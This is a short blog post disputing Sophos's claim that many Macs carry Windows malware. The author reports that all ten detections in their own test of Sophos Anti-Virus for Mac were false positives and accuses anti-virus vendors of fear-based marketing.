0
On April 24, Sophos Naked Security blog had publish a post regarding malware infections on Mac OS X. Sophos has claim that 20% of Mac computers where carrying one or more instances of Windows malwares. All these malwares where detected though they’re free Sophos Anti-Virus for Mac Home Edition.
Flashback malware was the big story of April for Mac consumers and all anti-virus company have jump on this opportunity to promote they’re products and to distill propaganda around Mac OS X security. I agree with them Mac OS X is a product like other product, and Mac OS X has also to be protected against threats, but the proposed solutions are worse than to do nothing.
During my tests of Sophos Anti-Virus for Mac Home Edition 10 of 10 malwares detected by the anti-virus were false positives harassing me with constant alert pop-up during regular operations, Spotlight indexing, Time Machine backup. Here under a sample of 10 infections detected by Sophos Anti-Virus for Mac.
False positives due to binary format of the “affected” files.

In conclusion Sophos is more strong to do marketing and give fear to consumers than to create a good Mac anti-virus that really detect something.
